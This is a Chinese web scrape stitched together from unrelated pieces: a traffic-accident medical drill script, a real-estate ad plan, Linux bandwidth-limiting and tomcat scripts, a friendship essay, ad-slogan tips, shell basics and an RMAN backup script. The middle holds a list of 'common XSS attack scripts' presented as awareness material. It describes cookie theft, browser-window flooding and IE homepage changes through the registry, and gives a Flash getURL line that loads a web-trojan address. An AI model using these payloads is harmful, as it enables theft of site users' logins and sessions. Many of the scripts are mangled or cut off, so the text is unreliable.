第一辆救护车到现场后，医务人员立即对受伤人员进行检伤分类。主要评估伤员的项目有：能否行走、呼吸、循环、意识四个方面。区分重伤员第一优先救治，中度伤员第二优先救治，轻伤员延期处理，无救治希望的放到最后处理。
经过现场检伤表明，本次事故共造成45人受伤，其中2人当场死亡，5人重伤。 向医院公共卫生科汇报事故情况，要求启动武城县公共事件医疗救援应急预案。
场景：
现场急救指挥向县卫生局应急办报告事故情况。“德商路发生重大交通事故，初步掌握的情况是共有45人受伤，其中5人重伤，2人死亡。请求启动武城县公共事件医疗救援应急预案。因伤员较多，请求增派救护车参加救援”。现场指挥：“是”。
视频内容：
现场指挥打电话特写镜头。
应急医疗救援装备车出动，到达现场后设置救治区域画面。
解说词：
现场急救指挥向卫生局应急办报告事故情况后，领导决定立即启动突发公共事件医疗救援应急预案。
随着一声令下，全县各急救医疗机构的救护人员陆续赶赴现场，县人民医院开始通知急救绿色通道做好接收和抢救危重伤员的准备（包括床位安排、专家准备和手术室准备）；
各救护车陆续到位展开救援。
场景一：
2号救护车到达现场，医护人员对一名头面部外伤、呼吸微弱、继而呼吸、心跳停止的伤员进行抢救。
解说词：
医护人员对一名头面部外伤、呼吸微弱的伤员实施抢救：
医护人员对伤员进行开放气道、吸氧，对头顶部活动性出血部位进行包扎止血，建立静脉通道。
患者突然意识丧失，呼吸停止，颈动脉搏动消失，医护人员立即对其进行心肺复苏。 医生给予胸外心脏按压，按压频率120次/分钟。
护士开放气道后用简易呼吸器进行人工通气，按压与通气比30:2；
进行了5组复苏后医生与护士互换角色，再进行5个循环的心肺复苏。
经抢救后，患者恢复了心律、呼吸，但意识仍未恢复。
场景二：
医护人员对一名胸部开放性损伤、呼吸困难的伤员进行救治。
医护人员立即用大块的无菌棉垫覆盖超过伤口边缘范围5厘米进行封闭，将开放性伤口变为闭合性伤口。
医护人员检查患者气道通畅并给予高流量吸氧，同时监测生命体征，开通静脉通道。 场景三：
现场救治完毕，救护车顺序转运伤员。
视频内容：
伤员上救护车、车内实景。
解说词：
现场救援结束后，所有救护车及医务人员离开了事故现场，场地上不遗留任何伤员。 经过医护人员的现场抢救处理，所有伤员全部转运离开现场，已分别转送至县人民医院做进一步治疗。
四、参演人员集中
场景：
救护车及医务人员集中。
现场指挥向参演人员下令：“伤员已经转运完毕，全体参演人员集中”。
全体参演人员列队。
解说词：
随着经济的快速发展，突发公共事件的与日俱增，面对灾难事故的挑战，我们白衣战士总是召之即来、来之能战、战之能胜，今天，我们以实际行动向灾难事故进行了针锋相对的宣战。我们全体救护人员有信心、有决心战胜一切灾害，履行我们的光荣职责！
俗话说，“酒香也须勤吆喝”，对于大润发商贸城，应该说富阳的老百姓还是非常熟悉的。但是可以说，百姓的熟悉还停留在对XX超市这个层面上，对商贸城并没有很好的关注。那么，怎样才能在消费者群体中引起相当的关注，从而下达购房的决心，媒体上的形象宣传必不可少。
形象宣传应是多角度、多方面的。主要突出XX商贸城“创富、创智、创意 SOHO时代来到富阳”这个不同于其他楼盘的定位，其他如位居城市中心、超高性价比等也是很好的宣传点。
按照本报宣传效果的经验来看，“形象宣传”的版面要做得相对大一点，图案要漂亮，语言要简洁，让人过目难忘。
#!/bin/bash
tc qdisc del dev eth2 root
tc qdisc add dev eth2 root handle 2: htb
tc class add dev eth2 parent 2: classid 2:1 htb rate 100Mbit
i=1;
while [ $i -lt 248 ]
tc class add dev eth2 parent 2:1 classid 2:2$i htb rate 4000kbit ceil 6000kbit burst 15k
tc qdisc add dev eth2 parent 2:2$i handle 2$i: sfq
tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst .$i flowid 2:2$i
tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst .$i flowid 2:2$i
tc filter add dev eth2 parent 2:0 protocol ip prio 4 u32 match ip dst .$i flowid 2:2$i
i=`expr $i + 1`
done
不能轻易进入对方的世界，对方也不能轻易找到的通道。
这就是我的友情。
寡淡而过渡。
我是很小心眼的。为了一点和自己过意不去的小事情就生气，却在下一秒就原谅了对方。如果实在太纠结，那也只可能是因为某个问题自己暂时还没有想通而已。比如为什么要插列；为什么这么势利；为什么爱跟我学等等。
习惯给喜欢的东西取一个亲切的名字，或以特殊的称谓进行交流。
比如：小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……
男么么、女么么、z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波e、蛋挞、……还有至今未想好名字的胡同学。
当然还包括白菜的那一帮帮菜头儿们。
我的友谊网像一个大筛子，遇到的很多，最终没被过滤掉的很少。
我不知道是不是我太过敏感、太过愚钝，还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。
经过初中冗杂的小女生的生活，那些种种：力力、钟瑷琳、琴姐、papa、yo姐……不管怎样笼统地分出好人坏人，都渐渐让我看清，没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道：“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己，只是因为他们的利益比较纯粹罢了。”
以下脚本可用于对服务器进行上传限速，当业务使用处于高峰期时，为不影响业务的正常使用，限制上传速度，保证能正常提供服务，
原理是使用linux中的TC（流量控制模块）实现限速功能。
脚本的使用如下：
启动：sh start 200 (限制上传速度为200kb/s)
停止：sh stop
#!/bin/bash#a simple example for “tc”#set the paramDELAY=20SPEED=$2FLOW=0#出口网卡NETWORK_CARD=$(ip ro get | grep eth | awk '{print $5}')#服务器IPIP_ADDRESS= () { /sbin/tc qdisc add dev ${NETWORK_CARD} root handle 1: htb default 25 /sbin/tc class add dev ${NETWORK_CARD} parent 1: classid 1:1 htb rate ${SPEED}kbps /sbin/tc qdisc add dev ${NETWORK_CARD} parent 1:1 netem delay ${DELAY}ms ${FLOW}ms /sbin/tc filter add dev ${NETWORK_CARD} parent 1: protocol ip prio 1 u32 match ip dst ${IP_ADDRESS}/32 flowid 1:1}stop () { /sbin/tc qdisc dele dev ${NETWORK_CARD} root}case “$1” in start) start ;; stop) stop ;; *) echo “Usage: `basename $0` {start|stop} speed(kb/s)”esac
1、目标市场：该产品的消费者是谁？他们的自然状况和社会状态等等
2、消费偏好：消费心态；购买行为特征等
3、购买模式：购买频率、价格；购买场所；购买时看中的品质等
4、信息渠道：消费者如何知道产品信息，他、她们最早接触的媒体？最信赖、喜欢的媒体等等
5、竞争状况：该类产品的市场构成？主要品牌；消费者对产品的认知点；消费者对产品的失望点等
6、结论：xxxx
帮你找到公益广告这方面的一些事例，希望对你有用
公益广告词的创意技巧示例
20_年高考语文第一次把写广告词作为考查对象。全国卷：“请拟一条以‘公民义务献血’为内容的公益广告词。要求主题鲜明，感情真挚，构思新颖，语言简明。（在10~20个字之间）”；江西、河南等省高考：“请拟一条以‘说普通话’为内容的公益广告词。要求主题鲜明，态度真诚，构思新颖，语言简明。（在10-20个字之间）”。
广告在当今世界无处不在。英特尔前总裁格罗夫曾说过：“整个世界将会展开争夺‘眼球’的战役，谁能吸引更多的注意力，谁就能成为21世纪的主宰。”广告是艺术和科学的融合体，而广告词就是它的灵魂。正如美国著名广告家奥根尔维所讲的那样：“广告是词语的生涯。”下面结合高考（主要是全国卷）试题，说说公益广告词的一些创意技巧：
一、感情沟通型
“感人心者，莫先乎情。”情感是人类永恒的话题，也是维系人与人之间关系的基础。可以说，没有人性情感的广告文案就如没有血肉的骷髅，拒人于千里之外。广告大师霍普金斯曾经说过：只要有可能，我就在广告中加入人性的东西……广告文案能否调动人内心深处情感的体验，关键在于能否用人类最原始的情感去打动人……。亲情、友情、爱情等情感的融入，不仅让广告拥有了生命力，更重要的是它能让诉求对象从中找到自己过去和现在的影子，沟通情感，激起共鸣。沟通感情，或直接抒情、含蓄婉转，或朴实自然、情挚理真，或曲意道来、委婉动人。例如：
同在蓝天下，共享生命的感动。
朋友，让我们激情的血液流入他人的心田。
献出一滴血，又一个生命将向你微笑。
普通话，咱老百姓自己的话。
二、角色变换型
人生活在社会中，根据时间和空间的不同，分别扮演着一定的角色。从公益广告来看，诉求与诉求对象在一定情况下，可以灵活机动地利用语言来变换角色，也可取得好的效果。
(1)自我实现式——献血者的角度
自我观念与期许——个性、价值观、自我实现感。以个性化内容和个性化风格，充分展示诉求对象鲜明的自我观念与期许，个人对社会形象的向往和追求，包括个性、价值观念、自信、自豪、自我实现的感觉，是公益广告的一种重要方式。例如：
献出我的血，温暖你的心。
我憧憬文明，我追求奉献，我由衷献血。
一个好的房产公司和旗下的楼盘，有必要在消费者面前敞开胸怀，尽情展示自身的特点和优势。而这一切，除了醒目的形象宣传以外，还可以刊登一些有解释性、有说服力的文章。软文看起来不像广告，但往往可以达到事半功倍的效果。
对于XX商贸城这个项目，主要从“XX商贸城——SOHO时代的到来”、“雄踞城市中心，显赫财富之门”、新空间理念、“财富广场”等等做文章。
这些软文，可以在“房产专版”上用记者采访、记者观察、记者视点、记者分析等栏目来做，效果会很明显。
XSS 攻击常用脚本，大家可以了解xss攻击的一些知识做好网站安全防范，
这句代码将会弹出壹个包含有浏览者cookie信息的对话框，如果用户已经通过帐号登陆网站，在显示的cookie信息中将会包含有用户的账户名和密码。
3、,当用户浏览该 页时，将弹出壹个高200，宽200的网页窗口，在其中打开的页面是
4、跨站攻击的形式是多样的，不仅可以在网页中插入跨站脚本代码，而且可以在flash文件中插入跨站脚本代码，实现跨站攻击。由于flash文件有较高 的安全性，用户通常对flash文件的警惕性不够，因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中，例如制作成网页banner或者广告，那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的，通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击，其实现方法入下：
getURL(“网页木马地址”, “_blank”, “GET”);
loadMovieNum(“”, 0);
5、
这就是 传说中的框架 - - 膜拜吧 还有JS 也可以使用，比框架更隐蔽
6、Refresh到另壹个页面：
7、scriptlet引入另壹个页面：
------------------------------------------------------------------------------------------------------------
下面来几段长的 但是 记住 要慎用 ！！
1、打开无数个浏览器窗口，直至CPU超负荷，非关机不可：
修改注册表（IE 主页）：
有时候，
我最后要说的壹句话就是“害人终害己”，切记！
以下是重启Linux下某进程的shell脚本，以tomcat进程为例：
#!/bin/shpid=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ “$pid” = “” ] ; then echo “tomcat service does not start!”else kill -9 $pid pid1=`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'` if [ “$pid1” = “” ] ; then echo “Successfully kill tomcat processes: ” $pid else echo “tomcat kill process failed!” exit 1 fifirm -rf /opt/tomcat/work/*./`ps -ef|grep tomcat|grep -v grep|awk '{print $2}'`if [ “$pid2” = “” ] ; then echo “tomcat service failed to start!”else echo “tomcat service starts successfully:” $pid2fi
1111111111111清除/var/log下messages日志文件的简单命令脚本
/var/log/下日志文件时系统文件，必须有root权限：
$UID是系统的全局变量：
make && make install 表示前面成功了，执行后面的
make || make install 表示前面不成功，执行后面的
清空日志的三种方法：适合保留文件，清空内容的场合
①echo “ ”>或echo >
②>
③cat /dev/null >
22222222222：shell脚本的基础知识
shell是弱类型语言：(语法宽松，不严格)较为通用
通用的shell有标准的Bourne shll(sh)和c shell（csh）其中Bourne shell(sh)已经被bash shell取代
shell脚本的建立：
tac /etc/ 将文件倒着显示
相当于：head -1 /etc/
①脚本开头
一个规范的shell脚本的第一行会指出由哪个程序（解释器）来执行脚本中的内容，在
333333333333linux bash 编程中一般为：
①解释器
#！/bin/bash
#!/bin/sh
②在linux下sh 相当于bash，
#!又称幻数，在执行bash脚本的时候，内核会根据它来确定用哪个程序来解释脚本中的内容
，这一行必须在脚本顶端的第一行，如果不是第一行，则为注释
Centos.和RedHat linux下默认的shell均为bash
④如果脚本的开头不指定解释器，那么，就要用对应的解释器来执行脚本
脚本注释
脚本的执行
shell脚本的执行
当shell脚本以非交互的方式运行时，它会先查找环境变量ENV,该变量指定了一个，环境文件（通常是.bashrc）,然后从改环境变量文件开始执行，当读取了ENV文件后，SHELL才开始执行shell脚本中的内容，
shell脚本学习
Shell脚本的执行通常可以采用以下三种方式：
①bash script-name或 sh script-name（推荐使用)
②path/script-name或./script-name(当前路径下执行脚本)
③source script-name或. script-name# 注意点号
第一种方法是当脚本文件本身没有可执行权限（即文件X位为-号）时常使用的方法，这里推荐用bash执行，或者文件开头没有指定解释器，
第二种方法需要先将脚本文件的权限改为可执行（即文件加X位），具体方法：chmod u+x
script-name 或者chmod 755 script-name然后通过脚本路径，就可以直接执行脚本了
第三种方法通常是使用source或者“.” 号读入或加载指定的shell脚本文件语句，，然后，依次执行指定shell脚本文件中的所有。语句将作为当前父shell脚本进程的一部分运行，因此，使用source或者“.”点号等的可以将自身脚本中的变量的值，或者函数等的返回值传递到当前的父shell脚本中使用，这是第三种方法和前两种方法的最大区别
通过source 或“.” 点号加载执行过的脚本，在脚本结束后脚本中的变量（包括函数）值，在当前shell中依然存在，而sh和bash则不行，因此，在做shell脚本开发时。如果脚本中有需求引用其他脚本的内容，或者配置文件时，做好用“.” 点号或者source在脚本开头加载改脚本或配置文件，然后在下面的内容用可以调用source加载的脚本及文件中的变量及函数等内容。
笔试题：
已知如下命令及返回结果，请问echo $user的返回的结果为
[oldboy@test~]cat
[oldboy@test~]user=`whoami`
[oldboy@test~]sh
-h 查看帮助信息[oracle@gc1 ~]$ sh -hThe following information teach you how to use this --incr0 --incr1 THE is the place where you want to store the backupAfter you set the RMAN_HOME , The script. will create the following directory:-- _06_01|-- archlog --This directory store your archivelog backup|-- ctlfile --This directory store your controlfile bakcup|-- data --This directory store your backup| |-- incr0 --This is your incr0 backupset-- log --This is your backup log directory|-- --This log records the backup start and finish time points|-- --This your backup log records the rman output --helpUsage: --full --incr0 --incr1 --help#!/bin/bashcmd=$1script_name=`basename $0`RMAN_HOME=$2/`date +%Y_%m_%d`print_usage {echo “Usage:”echo “ $script_name --full ”echo “ $script_name --incr0 ”echo “ $script_name --incr1 ”echo “ $script_name --help ”}print_help() {echo “The script. was written by FAN”echo “The following information teach you how to use this script”echo “ $script_name --full”echo “ $script_name --incr0 ”echo “ $script_name --incr1 ”echo “ THE is the place where you want to store the backup”echo “ After you set the RMAN_HOME , The script. will create the following directory:”echo “ -- 20__06_01”echo “ |-- archlog --This directory store your archivelog backup”echo “ |-- ctlfile --This directory store your controlfile bakcup”echo “ |-- data --This directory store your backup”echo “ | |-- incr0 --This is your incr0 backupset”echo “ -- log --This is your backup log directory”echo “ |-- --This log records the backup start and finish time points”echo “ |-- your backup log records the rman output information”echo “ $script_name --help”print_usage}full() {#-----------------------script. env-----------------------local LOGFILE=$RMAN_HOME/$datedir/log/ LOGDATE=`date +%Y-%m-%d`local RMANLOG=$RMAN_HOME/$datedir/log/full_${LOGDATE}.logif [ ! -d ${RMAN_HOME} ];then mkdir -p $RMAN_HOMEmkdir $RMAN_HOME/archlogmkdir $RMAN_HOME/ctlfilemkdir $RMAN_HOME/datamkdir $RMAN_HOME/logmkdir $RMAN_HOME/data/fullfiif [ ! -f ${LOGFILE} ];then touch ${LOGFILE}fiif [ ! -f ${RMANLOG} ];then touch ${RMANLOG}fi#-------------start backup-----------------echo “-------------------------Rman full backup -------------------------” >>${LOGFILE}echo “backup_full start time:” `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo “----------------------Rman Database backup_full ------------”`date +%Y-%m-%d_%H:%M:%S` >${RMANLOG}$ORACLE_HOME/bin/rman target / ${RMANLOG}run{delete noprompt obsolete;crosscheck archivelog all;delete noprompt expired archivelog all;allocate channel c1 type disk MAXPIECESIZE 5g;allocate channel c2 type disk MAXPIECESIZE 5g;allocate channel c3 type disk MAXPIECESIZE 5g;allocate channel c4 type disk MAXPIECESIZE 5g;allocate channel c5 type disk MAXPIECESIZE 5g;backup AS COMPRESSED BACKUPSET database tag 'fullbackup' filesperset 3 format '$RMAN_HOME/data/full/db_full_%T_%d_%t_%s_%' include current controlfile;backup AS COMPRESSED BACKUPSET format '$RMAN_HOME/archlog/arch_full_%T_%d_%t_%s_%' archivelog all delete input;backup current controlfile format '$RMAN_HOME/ctlfile/ctl_%d_%T_%s_%p_%';crosscheck backup;delete noprompt expired backup;release channel c1;release channel c2;release channel c3;release channel c4;release channel c5;}exit;EOFecho “backup_full finish! check in :” ${RMANLOG} >>${LOGFILE}echo “backup_full end time:” `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo “-------------------------------full_end-----------------------------------” >>${LOGFILE}#end of fileecho “Full backup complete,your backup are in $RMAN_HOME”}incr0() {#-----------------------script. env-----------------------local LOGFILE=$RMAN_HOME/$datedir/log/ LOGDATE=`date +%Y-%m-%d`local RMANLOG=$RMAN_HOME/$datedir/log/incr0_${LOGDATE}.logif [ ! -d ${RMAN_HOME} ];then mkdir -p $RMAN_HOMEmkdir $RMAN_HOME/archlogmkdir $RMAN_HOME/ctlfilemkdir $RMAN_HOME/datamkdir $RMAN_HOME/data/incr0mkdir $RMAN_HOME/logfiif [ ! -f ${LOGFILE} ];then touch ${LOGFILE}fiif [ ! -f ${RMANLOG} ];then touch ${RMANLOG}fi#-------------start incr0 backup-----------------echo “-------------------------Rman incr0 backup -------------------------” >>${LOGFILE}echo “backup_incr0 start time:” `date +%Y-%m-%d_%H:%M:%S` >>${LOGFILE}echo “----------------------Rman Database backup_incr0 ------------”`date +%Y-%m-%d_%H:%M:%S` >${RMANLOG}$ORACLE_HOME/bin/rman target / ${RMANLOG}run{delete noprompt obsolete;crosscheck archivelog all;delete noprompt expired archivelog all;allocate channel c1 type disk MAXPIECESIZE 5g;allocate channel c2 type disk MAXPIECESIZE 5g;allocate channel c3 type disk MAXPIECESIZE 5g;allocate channel c4 type disk MAXPIECESIZE 5g;allocate channel c5 type disk MAXPIECESIZE 5g;backup AS COMPRESSED BACKUPSET incremental level 0 database tag 'incr0backup' filesperset 3 format '$RMAN_HOME/data/incr0/db_full_%T_%d_%t_%s_%' include current controlfile;backup AS COMPRESSED BACKUPSET format '$RMAN_HOME/archlog/arch_full_%T_%d_%t_%s_%' archivelog all delete input;backup current controlfile format '$RMAN_HOME/ctlfile/ctl_%d_%T_%s_%p_%';crosscheck backup;delete noprompt expired backup;release channel c1;release channel c2;release channel c3;release channel c4;release channel c5;}exit;EOFecho “backup_incr0 finish! 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